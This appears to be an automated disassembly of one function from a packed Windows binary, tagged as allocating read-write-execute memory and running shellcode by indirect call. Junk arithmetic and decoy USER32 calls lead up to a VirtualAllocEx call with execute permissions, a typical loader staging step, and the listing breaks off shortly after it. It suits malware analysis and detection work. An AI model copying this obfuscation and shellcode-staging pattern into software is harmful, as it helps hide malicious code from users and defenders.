Function at 0x100029e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov ecx, dword [0x1000671c]
sub eax, esi
mov eax, dword [0x100065a4]
add eax, ecx
cmp edx, eax
jbe 0x100027a9
mov eax, dword [0x1000668c]
add edx, edi
sub eax, ecx
mov dword [0x10006658], eax
mov dword [0x10006384], eax
mov esi, dword [0x10006778]
mov eax, 0x40
mov edx, dword [0x10006520]
cmp dword [0x100065b4], eax
je 0x100027db
mov eax, dword [0x100063e4]
mov edx, 0x49
mov eax, 0x20
mov dword [0x10006460], eax
push 0x80
call sub.USER32.DLL_IsCharLowerA
mov eax, dword [0x100066e8]
mov eax, 2
cmp edi, dword [0x1000661c]
jae 0x10002815
mov dword [0x10006384], eax
mov eax, dword [0x10006648]
add ecx, eax
mov eax, dword [0x10006408]
or eax, eax
mov dword [0x100066c0], eax
and edx, dword [0x100065f0]
mov edx, dword [0x100064cc]
mov edx, dword [0x10006398]
mov edi, dword [0x10006658]
sub edi, edx
push edi
call sub.USER32.DLL_IsCharLowerA
mov eax, dword [0x100063d0]
mov cx, 0x40
mov edi, dword [0x10006554]
mov eax, 4
cmp dword [0x1000639c], 0x21
jl 0x10002864
mov eax, dword [0x100064e0]
sub ecx, edx
mov dword [0x10006734], eax
or eax, dword [0x1000660c]
mov dword [0x10006530], edi
mov dword [0x10006748], edx
push 0x80
push ecx
call sub.USER32.DLL_IsDlgButtonChecked
mov ecx, dword [0x10006408]
or esi, edx
mov eax, dword [0x100063f4]
cmp edi, dword [0x10006704]
jbe 0x100028af
mov dword [0x10006638], edi
mov eax, dword [0x1000650c]
sub eax, eax
add edi, eax
mov dword [0x10006648], eax
mov dword [0x100066c8], esi
mov dword [0x100064e0], eax
mov ecx, dword [0x10006444]
mov esi, dword [0x100066b0]
mov ecx, dword [0x1000651c]
call fcn.100025b8
mov edx, dword [0x100066e4]
sub ecx, ecx
sub eax, eax
cmp dword [0x100065d8], eax
jno 0x100028eb
mov eax, dword [0x10006574]
mov eax, dword [0x1000674c]
mov ecx, 0xef
mov dword [0x100064e8], eax
mov dword [0x100063ec], eax
mov dword [0x10006614], ecx
mov eax, dword [0x1000673c]
mov edx, 0x80
sub edx, dword [0x10006384]
add eax, edx
cmp esi, 0
ja 0x10002920
mov dword [0x1000666c], eax
mov eax, dword [0x100066e8]
add ecx, ecx
add eax, eax
mov dword [0x10006404], eax
mov eax, dword [0x100066a4]
mov dword [0x10006384], esi
mov dword [0x100063e0], eax
call fcn.10003008
mov eax, dword [0x10006420]
mov eax, 0x56
mov eax, dword [0x10006384]
xor eax, eax
cmp edi, dword [0x100063fc]
jbe 0x10002980
mov dword [0x10006730], eax
mov edx, dword [0x100063f4]
mov edi, dword [0x100065e8]
mov eax, 0x80
mov eax, dword [0x1000645c]
mov edx, 0x6f
mov dword [0x100063d8], edx
fsub dword [ebx]
adc byte [ecx + 0x677c15], cl
adc byte [ebx + 0x638435], cl
adc byte [ecx + 0x10006658], ah
mov dword [0x1000641c], edi
mov eax, dword [0x10006768]
push eax
call sub.USER32.DLL_GetTopWindow
mov ecx, dword [0x10006384]
sub ecx, eax
sub eax, edi
cmp eax, eax
jno 0x100029bb
mov eax, dword [0x10006704]
mov eax, dword [0x10006638]
sub edi, edx
mov eax, dword [0x1000660c]
mov dword [0x1000646c], eax
mov dword [0x10006414], edi
mov eax, dword [0x100063f4]
mov dword [0x100066d4], edi
call fcn.100023fc
mov edx, dword [0x1000655c]
push edx
call sub.USER32.DLL_GetTopWindow
mov esi, dword [0x100065a8]
sub eax, eax
mov esi, dword [0x10006398]
add edi, eax
cmp dword [0x100066e0], 0xd8
cmp eax, 0x100066e0
fadd dword [eax]
add byte [eax], al
jne 0x10002a11
mov edi, dword [0x1000644c]
mov eax, dword [0x10006768]
and esi, edx
mov eax, dword [0x10006638]
mov dword [0x100066e4], esi
mov esi, dword [0x10006590]
mov dword [0x100066d8], eax
mov eax, dword [sym.imp.shell32.dll_Shell_NotifyIconW]
mov dword [0x10006740], eax
call sub.kernel32.dll_GetThreadLocale
mov eax, dword [0x1000644c]
add eax, esi
cmp ecx, eax
jnp 0x10002a55
mov dword [0x10006584], eax
mov esi, dword [0x100064a8]
add edx, edx
mov eax, dword [0x10006384]
and eax, edi
mov dword [0x10006500], esi
mov dword [0x10006398], eax
mov dword [0x10006444], edx
push ecx
call sub.USER32.DLL_IsCharLowerA
mov edx, dword [0x100065e0]
mov ax, 0x3e
cmp dword [0x10006618], eax
jl 0x10002a7f
mov dword [0x1000652c], esi
mov eax, dword [0x1000659c]
sub eax, eax
mov dword [0x10006720], eax
adc esi, dword [0x100063ec]
push esi
call sub.USER32.DLL_IsCharLowerA
mov eax, dword [0x10006674]
mov cx, 0x49
test edi, edi
jg 0x10002ac2
mov dword [0x100063d4], esi
mov eax, dword [0x100065f4]
sub eax, eax
mov eax, dword [0x1000658c]
add edx, eax
mov dword [0x10006704], eax
xor dword [0x100065ec], edi
mov eax, dword [0x10006518]
mov esi, dword [0x1000657c]
mov eax, dword [0x100063fc]
push dword [0x10006398]
call sub.USER32.DLL_IsCharLowerA
mov esi, dword [0x100065dc]
add esi, edi
mov esi, dword [0x10006384]
sub eax, esi
cmp dword [0x1000638c], eax
jnp 0x10002b0d
mov ecx, dword [0x10006588]
mov eax, dword [0x1000670c]
sub eax, eax
mov eax, dword [0x10006438]
mov dword [0x100063e4], esi
mov dword [0x100065ac], eax
mov ecx, dword [0x100063d8]
sbb ecx, dword [0x10006384]
mov ecx, dword [0x10006740]
mov edi, dword [0x100066f4]
add edi, esi
sub esi, edi
mov dword [0x10006694], edi
mov esi, dword [0x100063fc]
inc ecx
mov edx, dword [ecx]
cmp edx, dword [0x1002a3e5]
jne 0x10002b2f
mov edi, dword [0x10006674]
mov edi, 0x20
add esi, edi
mov dword [0x1000650c], edi
mov dword [0x1000665c], ecx
mov eax, 8
push eax
push eax
call sub.USER32.DLL_IsDlgButtonChecked
mov eax, dword [0x10006560]
sub eax, esi
add eax, dword [0x10006668]
cmp edi, dword [0x100064e0]
jns 0x10002b97
and dword [0x10006384], 0xffff00ff
mov dword [0x10006674], eax
mov eax, dword [0x1000675c]
mov ax, 0xbd
mov eax, 0xd6
mov dword [0x100063d0], edx
mov eax, dword [0x100065ac]
sbb dword [0x10006730], esi
call sub.kernel32.dll_GetThreadLocale
mov esi, dword [0x10006384]
mov esi, 2
mov cx, 0xfe
cmp eax, 0
jl 0x10002bdd
mov dword [0x100066bc], ecx
mov edi, dword [0x10006398]
mov edi, 0x86
mov dword [0x10006444], edx
mov dword [0x10006568], ecx
mov dword [0x1000671c], eax
mov edi, dword [0x10006578]
mov esi, dword [0x1000665c]
dec esi
mov edi, dword [esi]
mov dword [0x10006740], edi
mov eax, dword [0x10006388]
mov edx, 0x70
cmp dword [0x10006530], eax
jl 0x10002c1d
mov dword [0x100063bc], eax
mov dword [0x1000652c], eax
mov eax, dword [0x10006534]
mov esi, 0xfc
mov dword [0x10006614], eax
push dword [0x100066dc]
call sub.USER32.DLL_IsMenu
or eax, dword [0x1000639c]
mov eax, 1
cmp ecx, dword [0x10006750]
jg 0x10002c5f
mov dword [0x100064ec], ecx
mov esi, dword [0x100064ec]
sub eax, eax
mov ecx, 0x91
mov dword [0x10006384], eax
mov dword [0x100063ec], edx
mov edi, dword [0x1000655c]
mov dword [0x10006664], eax
xor eax, dword [0x10006384]
call sub.kernel32.dll_GetThreadLocale
mov eax, dword [0x1000667c]
mov dx, 0xa1
mov edi, dword [0x100065d0]
mov edx, 0xe9
cmp eax, eax
jne 0x10002cab
mov eax, dword [0x100065a0]
mov edi, dword [0x100064a8]
mov dx, 0xbf
mov eax, 0xe6
mov dword [0x100066b4], eax
mov dword [0x10006678], edx
mov eax, dword [0x10006384]
mov edi, dword [0x100063e0]
mov esi, dword [0x100065a4]
add esi, edi
push esi
call sub.USER32.DLL_GetTopWindow
mov eax, dword [0x10006684]
sub ecx, edi
mov ecx, dword [0x100064c8]
sub eax, edx
cmp eax, 0
jne 0x10002cf8
mov edx, dword [0x100066c8]
mov cx, 0x10
mov edx, dword [0x100066b4]
mov ax, 0xac
mov dword [0x10006484], edi
mov dword [0x10006558], ecx
mov dword [0x10006558], eax
mov edx, dword [0x1000670c]
push 0x40
push 0x1000
push 0x1c000
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x1000665c], eax
mov eax, dword [0x10006384]
mov ax, 0x69
cmp dword [0x100064f8], 0x20
jb 0x10002d4b
mov edi, dword [0x100065a4]
mov eax, dword [0x1000653c]
mov ecx, dword [0x10006384]
mov ax, 1
add dword [eax], eax